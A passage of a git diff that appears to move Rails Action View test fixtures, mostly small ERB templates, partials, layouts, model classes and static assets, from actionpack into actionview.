@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb b/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb
new file mode 100644
index 0000000..ebe09fa
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_with_locals.erb
@@ -0,0 +1 @@
+The secret is <%= secret %>
diff --git a/actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb b/actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb
new file mode 100644
index 0000000..9b4900a
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb
@@ -0,0 +1 @@
+<%= secret ||= 'one' %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb
new file mode 100644
index 0000000..0740b2d
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb
@@ -0,0 +1 @@
+Hey HTML!
diff --git a/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb
new file mode 100644
index 0000000..4a11845
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb
@@ -0,0 +1 @@
+Hello HTML!
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb b/actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb
new file mode 100644
index 0000000..892ae5e
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb
@@ -0,0 +1 @@
+alert('hello');
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb b/actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb
new file mode 100644
index 0000000..1461b95
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb
@@ -0,0 +1 @@
+<%= render partial: 'test/_directory/partial_with_locales', locals: {'name' => 'Jane'} %>
diff --git a/actionview/test/fixtures/actionpack/test/render_to_string_test.erb b/actionview/test/fixtures/actionpack/test/render_to_string_test.erb
new file mode 100644
index 0000000..6e267e8
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_to_string_test.erb
@@ -0,0 +1 @@
+The value of foo is: ::<%= @foo %>::
diff --git a/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb b/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb
new file mode 100644
index 0000000..3db6025
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/render_two_partials.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'partial', :locals => {'first' => '1'} %>
+<%= render :partial => 'partial', :locals => {'second' => '2'} %>
diff --git a/actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb b/actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb
new file mode 100644
index 0000000..3d6661d
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb
@@ -0,0 +1 @@
+<%= render(:layout => "layout_for_partial", :locals => { :name => "David" }) do %>Inside from block<% end %>
\ No newline at end of file
diff --git a/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb b/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb
new file mode 100644
index 0000000..d84d909
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/with_html_partial.html.erb
@@ -0,0 +1 @@
+<strong><%= render :partial => "partial_only_html" %></strong>
diff --git a/actionview/test/fixtures/actionpack/test/with_partial.html.erb b/actionview/test/fixtures/actionpack/test/with_partial.html.erb
new file mode 100644
index 0000000..7502364
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/with_partial.html.erb
@@ -0,0 +1 @@
+<strong><%= render :partial => "partial_only" %></strong>
diff --git a/actionview/test/fixtures/actionpack/test/with_partial.text.erb b/actionview/test/fixtures/actionpack/test/with_partial.text.erb
new file mode 100644
index 0000000..5f068eb
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/with_partial.text.erb
@@ -0,0 +1 @@
+**<%= render :partial => "partial_only" %>**
diff --git a/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb b/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb
new file mode 100644
index 0000000..e54a7cd
--- /dev/null
+++ b/actionview/test/fixtures/actionpack/test/with_xml_template.html.erb
@@ -0,0 +1 @@
+<%= render :template => "test/greeting", :formats => :xml %>
diff --git a/actionpack/test/fixtures/blog_public/.gitignore b/actionview/test/fixtures/blog_public/.gitignore
similarity index 100%
rename from actionpack/test/fixtures/blog_public/.gitignore
rename to actionview/test/fixtures/blog_public/.gitignore
diff --git a/actionpack/test/fixtures/blog_public/blog.html b/actionview/test/fixtures/blog_public/blog.html
similarity index 100%
rename from actionpack/test/fixtures/blog_public/blog.html
rename to actionview/test/fixtures/blog_public/blog.html
diff --git a/actionpack/test/fixtures/blog_public/index.html b/actionview/test/fixtures/blog_public/index.html
similarity index 100%
rename from actionpack/test/fixtures/blog_public/index.html
rename to actionview/test/fixtures/blog_public/index.html
diff --git a/actionpack/test/fixtures/blog_public/subdir/index.html b/actionview/test/fixtures/blog_public/subdir/index.html
similarity index 100%
rename from actionpack/test/fixtures/blog_public/subdir/index.html
rename to actionview/test/fixtures/blog_public/subdir/index.html
diff --git a/actionpack/test/fixtures/comments/empty.de.html.erb b/actionview/test/fixtures/comments/empty.de.html.erb
similarity index 100%
rename from actionpack/test/fixtures/comments/empty.de.html.erb
rename to actionview/test/fixtures/comments/empty.de.html.erb
diff --git a/actionpack/test/fixtures/comments/empty.html.builder b/actionview/test/fixtures/comments/empty.html.builder
similarity index 100%
rename from actionpack/test/fixtures/comments/empty.html.builder
rename to actionview/test/fixtures/comments/empty.html.builder
diff --git a/actionpack/test/fixtures/comments/empty.html.erb b/actionview/test/fixtures/comments/empty.html.erb
similarity index 100%
rename from actionpack/test/fixtures/comments/empty.html.erb
rename to actionview/test/fixtures/comments/empty.html.erb
diff --git a/actionpack/test/fixtures/comments/empty.xml.erb b/actionview/test/fixtures/comments/empty.xml.erb
similarity index 100%
rename from actionpack/test/fixtures/comments/empty.xml.erb
rename to actionview/test/fixtures/comments/empty.xml.erb
diff --git a/actionpack/test/fixtures/companies.yml b/actionview/test/fixtures/companies.yml
similarity index 100%
rename from actionpack/test/fixtures/companies.yml
rename to actionview/test/fixtures/companies.yml
diff --git a/actionview/test/fixtures/company.rb b/actionview/test/fixtures/company.rb
new file mode 100644
index 0000000..f3ac364
--- /dev/null
+++ b/actionview/test/fixtures/company.rb
@@ -0,0 +1,9 @@
+class Company < ActiveRecord::Base
+  has_one :mascot
+  self.sequence_name = :companies_nonstd_seq
+
+  validates_presence_of :name
+  def validate
+    errors.add('rating', 'rating should not be 2') if rating == 2
+  end
+end
diff --git a/actionpack/test/fixtures/custom_pattern/another.html.erb b/actionview/test/fixtures/custom_pattern/another.html.erb
similarity index 100%
rename from actionpack/test/fixtures/custom_pattern/another.html.erb
rename to actionview/test/fixtures/custom_pattern/another.html.erb
diff --git a/actionpack/test/fixtures/custom_pattern/html/another.erb b/actionview/test/fixtures/custom_pattern/html/another.erb
similarity index 100%
rename from actionpack/test/fixtures/custom_pattern/html/another.erb
rename to actionview/test/fixtures/custom_pattern/html/another.erb
diff --git a/actionpack/test/fixtures/custom_pattern/html/path.erb b/actionview/test/fixtures/custom_pattern/html/path.erb
similarity index 100%
rename from actionpack/test/fixtures/custom_pattern/html/path.erb
rename to actionview/test/fixtures/custom_pattern/html/path.erb
diff --git a/actionpack/test/fixtures/customers/_customer.html.erb b/actionview/test/fixtures/customers/_customer.html.erb
similarity index 100%
rename from actionpack/test/fixtures/customers/_customer.html.erb
rename to actionview/test/fixtures/customers/_customer.html.erb
diff --git a/actionview/test/fixtures/customers/_customer.xml.erb b/actionview/test/fixtures/customers/_customer.xml.erb
new file mode 100644
index 0000000..d3f1e07
--- /dev/null
+++ b/actionview/test/fixtures/customers/_customer.xml.erb
@@ -0,0 +1 @@
+<greeting><%= greeting %></greeting><name><%= customer.name %></name>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/db_definitions/sqlite.sql b/actionview/test/fixtures/db_definitions/sqlite.sql
similarity index 100%
rename from actionpack/test/fixtures/db_definitions/sqlite.sql
rename to actionview/test/fixtures/db_definitions/sqlite.sql
diff --git a/actionview/test/fixtures/developer.rb b/actionview/test/fixtures/developer.rb
new file mode 100644
index 0000000..8b3f0a8
--- /dev/null
+++ b/actionview/test/fixtures/developer.rb
@@ -0,0 +1,6 @@
+class Developer < ActiveRecord::Base
+  has_and_belongs_to_many :projects
+  has_many :replies
+  has_many :topics, :through => :replies
+  accepts_nested_attributes_for :projects
+end
diff --git a/actionpack/test/fixtures/developers.yml b/actionview/test/fixtures/developers.yml
similarity index 100%
rename from actionpack/test/fixtures/developers.yml
rename to actionview/test/fixtures/developers.yml
diff --git a/actionpack/test/fixtures/developers/_developer.erb b/actionview/test/fixtures/developers/_developer.erb
similarity index 100%
rename from actionpack/test/fixtures/developers/_developer.erb
rename to actionview/test/fixtures/developers/_developer.erb
diff --git a/actionpack/test/fixtures/developers_projects.yml b/actionview/test/fixtures/developers_projects.yml
similarity index 100%
rename from actionpack/test/fixtures/developers_projects.yml
rename to actionview/test/fixtures/developers_projects.yml
diff --git a/actionpack/test/fixtures/digestor/comments/_comment.html.erb b/actionview/test/fixtures/digestor/comments/_comment.html.erb
similarity index 100%
rename from actionpack/test/fixtures/digestor/comments/_comment.html.erb
rename to actionview/test/fixtures/digestor/comments/_comment.html.erb
diff --git a/actionpack/test/fixtures/digestor/comments/_comments.html.erb b/actionview/test/fixtures/digestor/comments/_comments.html.erb
similarity index 100%
rename from actionpack/test/fixtures/digestor/comments/_comments.html.erb
rename to actionview/test/fixtures/digestor/comments/_comments.html.erb
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/actionview/test/fixtures/digestor/events/_event.html.erb
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to actionview/test/fixtures/digestor/events/_event.html.erb
diff --git a/actionpack/test/fixtures/digestor/level/_recursion.html.erb b/actionview/test/fixtures/digestor/level/_recursion.html.erb
similarity index 100%
rename from actionpack/test/fixtures/digestor/level/_recursion.html.erb
rename to actionview/test/fixtures/digestor/level/_recursion.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/_header.html.erb b/actionview/test/fixtures/digestor/level/below/_header.html.erb
similarity index 100%
rename from actionpack/test/fixtures/digestor/messages/_header.html.erb
rename to actionview/test/fixtures/digestor/level/below/_header.html.erb
diff --git a/actionpack/test/fixtures/digestor/level/below/index.html.erb b/actionview/test/fixtures/digestor/level/below/index.html.erb
similarity index 100%
rename from actionpack/test/fixtures/digestor/level/below/index.html.erb
rename to actionview/test/fixtures/digestor/level/below/index.html.erb
diff --git a/actionpack/test/fixtures/digestor/level/recursion.html.erb b/actionview/test/fixtures/digestor/level/recursion.html.erb
similarity index 100%
rename from actionpack/test/fixtures/digestor/level/recursion.html.erb
rename to actionview/test/fixtures/digestor/level/recursion.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/_form.html.erb b/actionview/test/fixtures/digestor/messages/_form.html.erb
similarity index 100%
rename from actionpack/test/fixtures/digestor/messages/_form.html.erb
rename to actionview/test/fixtures/digestor/messages/_form.html.erb
diff --git a/actionpack/test/fixtures/digestor/level/below/_header.html.erb b/actionview/test/fixtures/digestor/messages/_header.html.erb
similarity index 100%
rename from actionpack/test/fixtures/digestor/level/below/_header.html.erb
rename to actionview/test/fixtures/digestor/messages/_header.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/_message.html.erb b/actionview/test/fixtures/digestor/messages/_message.html.erb
similarity index 100%
rename from actionpack/test/fixtures/digestor/messages/_message.html.erb
rename to actionview/test/fixtures/digestor/messages/_message.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/actions/_move.html.erb b/actionview/test/fixtures/digestor/messages/actions/_move.html.erb
similarity index 100%
rename from actionpack/test/fixtures/digestor/messages/actions/_move.html.erb
rename to actionview/test/fixtures/digestor/messages/actions/_move.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/edit.html.erb b/actionview/test/fixtures/digestor/messages/edit.html.erb
similarity index 100%
rename from actionpack/test/fixtures/digestor/messages/edit.html.erb
rename to actionview/test/fixtures/digestor/messages/edit.html.erb
diff --git a/actionpack/test/fixtures/digestor/messages/index.html.erb b/actionview/test/fixtures/digestor/messages/index.html.erb
similarity index 100%
rename from actionpack/test/fixtures/digestor/messages/index.html.erb
rename to actionview/test/fixtures/digestor/messages/index.html.erb
diff --git a/actionview/test/fixtures/digestor/messages/new.html+iphone.erb b/actionview/test/fixtures/digestor/messages/new.html+iphone.erb
new file mode 100644
index 0000000..791e1d3
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/new.html+iphone.erb
@@ -0,0 +1,15 @@
+<%# Template Dependency: messages/message %>
+
+<%= render "header" %>
+<%= render "comments/comments" %>
+
+<%= render "messages/actions/move" %>
+
+<%= render @message.history.events %>
+
+<%# render "something_missing"   %>
+<%# render "something_missing_1" %>
+
+<%
+  # Template Dependency: messages/form
+%>
\ No newline at end of file
diff --git a/actionview/test/fixtures/digestor/messages/show.html.erb b/actionview/test/fixtures/digestor/messages/show.html.erb
new file mode 100644
index 0000000..42aa236
--- /dev/null
+++ b/actionview/test/fixtures/digestor/messages/show.html.erb
@@ -0,0 +1,14 @@
+<%# Template Dependency: messages/message %>
+<%= render "header" %>
+<%= render "comments/comments" %>
+
+<%= render "messages/actions/move" %>
+
+<%= render @message.history.events %>
+
+<%# render "something_missing"   %>
+<%# render "something_missing_1" %>
+
+<%
+  # Template Dependency: messages/form
+%>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/fun/games/_game.erb b/actionview/test/fixtures/fun/games/_game.erb
similarity index 100%
rename from actionpack/test/fixtures/fun/games/_game.erb
rename to actionview/test/fixtures/fun/games/_game.erb
diff --git a/actionpack/test/fixtures/fun/games/hello_world.erb b/actionview/test/fixtures/fun/games/hello_world.erb
similarity index 100%
rename from actionpack/test/fixtures/fun/games/hello_world.erb
rename to actionview/test/fixtures/fun/games/hello_world.erb
diff --git a/actionpack/test/fixtures/fun/serious/games/_game.erb b/actionview/test/fixtures/fun/serious/games/_game.erb
similarity index 100%
rename from actionpack/test/fixtures/fun/serious/games/_game.erb
rename to actionview/test/fixtures/fun/serious/games/_game.erb
diff --git a/actionview/test/fixtures/functional_caching/fragment_cached_without_digest.html.erb b/actionview/test/fixtures/functional_caching/fragment_cached_without_digest.html.erb
new file mode 100644
index 0000000..3125583
--- /dev/null
+++ b/actionview/test/fixtures/functional_caching/fragment_cached_without_digest.html.erb
@@ -0,0 +1,3 @@
+<body>
+<%= cache 'nodigest', skip_digest: true do %><p>ERB</p><% end %>
+</body>
diff --git a/actionpack/test/fixtures/games/_game.erb b/actionview/test/fixtures/games/_game.erb
similarity index 100%
rename from actionpack/test/fixtures/games/_game.erb
rename to actionview/test/fixtures/games/_game.erb
diff --git a/actionpack/test/fixtures/good_customers/_good_customer.html.erb b/actionview/test/fixtures/good_customers/_good_customer.html.erb
similarity index 100%
rename from actionpack/test/fixtures/good_customers/_good_customer.html.erb
rename to actionview/test/fixtures/good_customers/_good_customer.html.erb
diff --git a/actionpack/test/fixtures/happy_path/render_action/hello_world.erb b/actionview/test/fixtures/happy_path/render_action/hello_world.erb
similarity index 100%
copy from actionpack/test/fixtures/happy_path/render_action/hello_world.erb
copy to actionview/test/fixtures/happy_path/render_action/hello_world.erb
diff --git a/actionview/test/fixtures/helpers/abc_helper.rb b/actionview/test/fixtures/helpers/abc_helper.rb
new file mode 100644
index 0000000..cf2774b
--- /dev/null
+++ b/actionview/test/fixtures/helpers/abc_helper.rb
@@ -0,0 +1,3 @@
+module AbcHelper
+  def bare_a() end
+end
diff --git a/actionpack/test/fixtures/helpers/helpery_test_helper.rb b/actionview/test/fixtures/helpers/helpery_test_helper.rb
similarity index 100%
rename from actionpack/test/fixtures/helpers/helpery_test_helper.rb
rename to actionview/test/fixtures/helpers/helpery_test_helper.rb
diff --git a/actionpack/test/fixtures/helpers_missing/invalid_require_helper.rb b/actionview/test/fixtures/helpers_missing/invalid_require_helper.rb
similarity index 100%
rename from actionpack/test/fixtures/helpers_missing/invalid_require_helper.rb
rename to actionview/test/fixtures/helpers_missing/invalid_require_helper.rb
diff --git a/actionpack/test/fixtures/layout_tests/alt/hello.erb b/actionview/test/fixtures/layout_tests/alt/hello.erb
similarity index 100%
rename from actionpack/test/fixtures/layout_tests/alt/hello.erb
rename to actionview/test/fixtures/layout_tests/alt/hello.erb
diff --git a/actionpack/test/fixtures/layouts/_column.html.erb b/actionview/test/fixtures/layouts/_column.html.erb
similarity index 100%
rename from actionpack/test/fixtures/layouts/_column.html.erb
rename to actionview/test/fixtures/layouts/_column.html.erb
diff --git a/actionview/test/fixtures/layouts/_customers.erb b/actionview/test/fixtures/layouts/_customers.erb
new file mode 100644
index 0000000..ae63f13
--- /dev/null
+++ b/actionview/test/fixtures/layouts/_customers.erb
@@ -0,0 +1 @@
+<title><%= yield Struct.new(:name).new("David") %></title>
\ No newline at end of file
diff --git a/actionpack/test/fixtures/layouts/_partial_and_yield.erb b/actionview/test/fixtures/layouts/_partial_and_yield.erb
similarity index 100%
rename from actionpack/test/fixtures/layouts/_partial_and_yield.erb
rename to actionview/test/fixtures/layouts/_partial_and_yield.erb
diff --git a/actionpack/test/fixtures/layouts/_yield_only.erb b/actionview/test/fixtures/layouts/_yield_only.erb
similarity index 100%
rename from actionpack/test/fixtures/layouts/_yield_only.erb
rename to actionview/test/fixtures/layouts/_yield_only.erb
diff --git a/actionpack/test/fixtures/layouts/_yield_with_params.erb b/actionview/test/fixtures/layouts/_yield_with_params.erb
similarity index 100%
rename from actionpack/test/fixtures/layouts/_yield_with_params.erb
rename to actionview/test/fixtures/layouts/_yield_with_params.erb
diff --git a/actionpack/test/fixtures/layouts/streaming.erb b/actionview/test/fixtures/layouts/streaming.erb
similarity index 100%
rename from actionpack/test/fixtures/layouts/streaming.erb
rename to actionview/test/fixtures/layouts/streaming.erb
diff --git a/actionview/test/fixtures/layouts/yield.erb b/actionview/test/fixtures/layouts/yield.erb
new file mode 100644
index 0000000..482dc90
--- /dev/null
+++ b/actionview/test/fixtures/layouts/yield.erb
@@ -0,0 +1,2 @@
+<title><%= yield :title %></title>
+<%= yield %>
diff --git a/actionpack/test/fixtures/layouts/yield_with_render_inline_inside.erb b/actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb
similarity index 100%
rename from actionpack/test/fixtures/layouts/yield_with_render_inline_inside.erb
rename to actionview/test/fixtures/layouts/yield_with_render_inline_inside.erb
diff --git a/actionpack/test/fixtures/layouts/yield_with_render_partial_inside.erb b/actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb
similarity index 100%
rename from actionpack/test/fixtures/layouts/yield_with_render_partial_inside.erb
rename to actionview/test/fixtures/layouts/yield_with_render_partial_inside.erb
diff --git a/actionpack/test/fixtures/mascot.rb b/actionview/test/fixtures/mascot.rb
similarity index 100%
rename from actionpack/test/fixtures/mascot.rb
rename to actionview/test/fixtures/mascot.rb
diff --git a/actionpack/test/fixtures/mascots.yml b/actionview/test/fixtures/mascots.yml
similarity index 100%
rename from actionpack/test/fixtures/mascots.yml
rename to actionview/test/fixtures/mascots.yml
diff --git a/actionpack/test/fixtures/mascots/_mascot.html.erb b/actionview/test/fixtures/mascots/_mascot.html.erb
similarity index 100%
rename from actionpack/test/fixtures/mascots/_mascot.html.erb
rename to actionview/test/fixtures/mascots/_mascot.html.erb
diff --git a/actionview/test/fixtures/multipart/bracketed_utf8_param b/actionview/test/fixtures/multipart/bracketed_utf8_param
new file mode 100644
index 0000000..df9cece
--- /dev/null
+++ b/actionview/test/fixtures/multipart/bracketed_utf8_param
@@ -0,0 +1,5 @@
+--AaB03x
+Content-Disposition: form-data; name="Iñtërnâtiônàlizætiøn_name[Iñtërnâtiônàlizætiøn_nested_name]"
+
+Iñtërnâtiônàlizætiøn_value
+--AaB03x--
diff --git a/actionview/test/fixtures/multipart/single_utf8_param b/actionview/test/fixtures/multipart/single_utf8_param
new file mode 100644
index 0000000..1d9fae7
--- /dev/null
+++ b/actionview/test/fixtures/multipart/single_utf8_param
@@ -0,0 +1,5 @@
+--AaB03x
+Content-Disposition: form-data; name="Iñtërnâtiônàlizætiøn_name"
+
+Iñtërnâtiônàlizætiøn_value
+--AaB03x--
diff --git a/actionpack/test/fixtures/override/test/hello_world.erb b/actionview/test/fixtures/override/test/hello_world.erb
similarity index 100%
rename from actionpack/test/fixtures/override/test/hello_world.erb
rename to actionview/test/fixtures/override/test/hello_world.erb
diff --git a/actionpack/test/fixtures/override2/layouts/test/sub.erb b/actionview/test/fixtures/override2/layouts/test/sub.erb
similarity index 100%
rename from actionpack/test/fixtures/override2/layouts/test/sub.erb
rename to actionview/test/fixtures/override2/layouts/test/sub.erb
diff --git a/actionpack/test/fixtures/plain_text.raw b/actionview/test/fixtures/plain_text.raw
similarity index 100%
rename from actionpack/test/fixtures/plain_text.raw
rename to actionview/test/fixtures/plain_text.raw
diff --git a/actionpack/test/fixtures/plain_text_with_characters.raw b/actionview/test/fixtures/plain_text_with_characters.raw
similarity index 100%
rename from actionpack/test/fixtures/plain_text_with_characters.raw
rename to actionview/test/fixtures/plain_text_with_characters.raw
diff --git a/actionpack/test/fixtures/project.rb b/actionview/test/fixtures/project.rb
similarity index 100%
rename from actionpack/test/fixtures/project.rb
rename to actionview/test/fixtures/project.rb
diff --git a/actionpack/test/fixtures/projects.yml b/actionview/test/fixtures/projects.yml
similarity index 100%
rename from actionpack/test/fixtures/projects.yml
rename to actionview/test/fixtures/projects.yml
diff --git a/actionpack/test/fixtures/projects/_project.erb b/actionview/test/fixtures/projects/_project.erb
similarity index 100%
rename from actionpack/test/fixtures/projects/_project.erb
rename to actionview/test/fixtures/projects/_project.erb
diff --git a/actionpack/test/fixtures/public/.gitignore b/actionview/test/fixtures/public/.gitignore
similarity index 100%
rename from actionpack/test/fixtures/public/.gitignore
rename to actionview/test/fixtures/public/.gitignore
diff --git a/actionpack/test/fixtures/public/elsewhere/cools.js b/actionview/test/fixtures/public/elsewhere/cools.js
similarity index 100%
rename from actionpack/test/fixtures/public/elsewhere/cools.js
rename to actionview/test/fixtures/public/elsewhere/cools.js
diff --git a/actionpack/test/fixtures/public/elsewhere/file.css b/actionview/test/fixtures/public/elsewhere/file.css
similarity index 100%
rename from actionpack/test/fixtures/public/elsewhere/file.css
rename to actionview/test/fixtures/public/elsewhere/file.css
diff --git a/actionview/test/fixtures/public/foo/baz.css b/actionview/test/fixtures/public/foo/baz.css
new file mode 100644
index 0000000..b5173fb
--- /dev/null
+++ b/actionview/test/fixtures/public/foo/baz.css
@@ -0,0 +1,3 @@
+body {
+background: #000;
+}
diff --git a/actionpack/test/fixtures/public/javascripts/application.js b/actionview/test/fixtures/public/javascripts/application.js
similarity index 100%
rename from actionpack/test/fixtures/public/javascripts/application.js
rename to actionview/test/fixtures/public/javascripts/application.js
diff --git a/actionpack/test/fixtures/public/javascripts/bank.js b/actionview/test/fixtures/public/javascripts/bank.js
similarity index 100%
rename from actionpack/test/fixtures/public/javascripts/bank.js
rename to actionview/test/fixtures/public/javascripts/bank.js
diff --git a/actionpack/test/fixtures/public/javascripts/common.javascript b/actionview/test/fixtures/public/javascripts/common.javascript
similarity index 100%
rename from actionpack/test/fixtures/public/javascripts/common.javascript
rename to actionview/test/fixtures/public/javascripts/common.javascript
diff --git a/actionpack/test/fixtures/public/javascripts/controls.js b/actionview/test/fixtures/public/javascripts/controls.js
similarity index 100%
rename from actionpack/test/fixtures/public/javascripts/controls.js
rename to actionview/test/fixtures/public/javascripts/controls.js
diff --git a/actionpack/test/fixtures/public/javascripts/dragdrop.js b/actionview/test/fixtures/public/javascripts/dragdrop.js
similarity index 100%
rename from actionpack/test/fixtures/public/javascripts/dragdrop.js
rename to actionview/test/fixtures/public/javascripts/dragdrop.js
diff --git a/actionpack/test/fixtures/public/javascripts/effects.js b/actionview/test/fixtures/public/javascripts/effects.js
similarity index 100%
rename from actionpack/test/fixtures/public/javascripts/effects.js
rename to actionview/test/fixtures/public/javascripts/effects.js
diff --git a/actionpack/test/fixtures/public/javascripts/prototype.js b/actionview/test/fixtures/public/javascripts/prototype.js
similarity index 100%
rename from actionpack/test/fixtures/public/javascripts/prototype.js
rename to actionview/test/fixtures/public/javascripts/prototype.js
diff --git a/actionpack/test/fixtures/public/javascripts/robber.js b/actionview/test/fixtures/public/javascripts/robber.js
similarity index 100%
rename from actionpack/test/fixtures/public/javascripts/robber.js
rename to actionview/test/fixtures/public/javascripts/robber.js
diff --git a/actionpack/test/fixtures/public/javascripts/subdir/subdir.js b/actionview/test/fixtures/public/javascripts/subdir/subdir.js
similarity index 100%
rename from actionpack/test/fixtures/public/javascripts/subdir/subdir.js
rename to actionview/test/fixtures/public/javascripts/subdir/subdir.js
diff --git a/actionpack/test/fixtures/public/javascripts/version.1.0.js b/actionview/test/fixtures/public/javascripts/version.1.0.js
similarity index 100%
rename from actionpack/test/fixtures/public/javascripts/version.1.0.js
rename to actionview/test/fixtures/public/javascripts/version.1.0.js
diff --git a/actionpack/test/fixtures/public/stylesheets/bank.css b/actionview/test/fixtures/public/stylesheets/bank.css
similarity index 100%
rename from actionpack/test/fixtures/public/stylesheets/bank.css
rename to actionview/test/fixtures/public/stylesheets/bank.css
diff --git a/actionpack/test/fixtures/public/stylesheets/random.styles b/actionview/test/fixtures/public/stylesheets/random.styles
similarity index 100%
rename from actionpack/test/fixtures/public/stylesheets/random.styles
rename to actionview/test/fixtures/public/stylesheets/random.styles
diff --git a/actionpack/test/fixtures/public/stylesheets/robber.css b/actionview/test/fixtures/public/stylesheets/robber.css
similarity index 100%
rename from actionpack/test/fixtures/public/stylesheets/robber.css
rename to actionview/test/fixtures/public/stylesheets/robber.css
diff --git a/actionpack/test/fixtures/public/stylesheets/subdir/subdir.css b/actionview/test/fixtures/public/stylesheets/subdir/subdir.css
similarity index 100%
rename from actionpack/test/fixtures/public/stylesheets/subdir/subdir.css
rename to actionview/test/fixtures/public/stylesheets/subdir/subdir.css
diff --git a/actionpack/test/fixtures/public/stylesheets/version.1.0.css b/actionview/test/fixtures/public/stylesheets/version.1.0.css
similarity index 100%
rename from actionpack/test/fixtures/public/stylesheets/version.1.0.css
rename to actionview/test/fixtures/public/stylesheets/version.1.0.css
diff --git a/actionpack/test/fixtures/replies.yml b/actionview/test/fixtures/replies.yml
similarity index 100%
rename from actionpack/test/fixtures/replies.yml
rename to actionview/test/fixtures/replies.yml
diff --git a/actionpack/test/fixtures/replies/_reply.erb b/actionview/test/fixtures/replies/_reply.erb
similarity index 100%
rename from actionpack/test/fixtures/replies/_reply.erb
rename to actionview/test/fixtures/replies/_reply.erb
diff --git a/actionpack/test/fixtures/reply.rb b/actionview/test/fixtures/reply.rb
similarity index 100%
rename from actionpack/test/fixtures/reply.rb
rename to actionview/test/fixtures/reply.rb
diff --git a/actionview/test/fixtures/respond_to/using_defaults_with_all.html.erb b/actionview/test/fixtures/respond_to/using_defaults_with_all.html.erb
new file mode 100644
index 0000000..9f1f855
--- /dev/null
+++ b/actionview/test/fixtures/respond_to/using_defaults_with_all.html.erb
@@ -0,0 +1 @@
+HTML!
diff --git a/actionview/test/fixtures/ruby_template.ruby b/actionview/test/fixtures/ruby_template.ruby
new file mode 100644
index 0000000..5097bce
--- /dev/null
+++ b/actionview/test/fixtures/ruby_template.ruby
@@ -0,0 +1,2 @@
+body = ""
+body << ["Hello", "from", "Ruby", "code"].join(" ")
diff --git a/actionpack/test/fixtures/scope/test/modgreet.erb b/actionview/test/fixtures/scope/test/modgreet.erb
similarity index 100%
rename from actionpack/test/fixtures/scope/test/modgreet.erb
rename to actionview/test/fixtures/scope/test/modgreet.erb
diff --git a/actionview/test/fixtures/shared.html.erb b/actionview/test/fixtures/shared.html.erb
new file mode 100644
index 0000000..af262fc
--- /dev/null
+++ b/actionview/test/fixtures/shared.html.erb
@@ -0,0 +1 @@
+Elastica
\ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_200.html.erb b/actionview/test/fixtures/test/_200.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_200.html.erb
rename to actionview/test/fixtures/test/_200.html.erb
diff --git a/actionpack/test/fixtures/test/_b_layout_for_partial.html.erb b/actionview/test/fixtures/test/_b_layout_for_partial.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_b_layout_for_partial.html.erb
rename to actionview/test/fixtures/test/_b_layout_for_partial.html.erb
diff --git a/actionpack/test/fixtures/test/_b_layout_for_partial_with_object.html.erb b/actionview/test/fixtures/test/_b_layout_for_partial_with_object.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_b_layout_for_partial_with_object.html.erb
rename to actionview/test/fixtures/test/_b_layout_for_partial_with_object.html.erb
diff --git a/actionpack/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb b/actionview/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb
similarity index 100%
rename from actionpack/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb
rename to actionview/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb
diff --git a/actionview/test/fixtures/test/_changing_priority.html.erb b/actionview/test/fixtures/test/_changing_priority.html.erb
new file mode 100644
index 0000000..3225efc
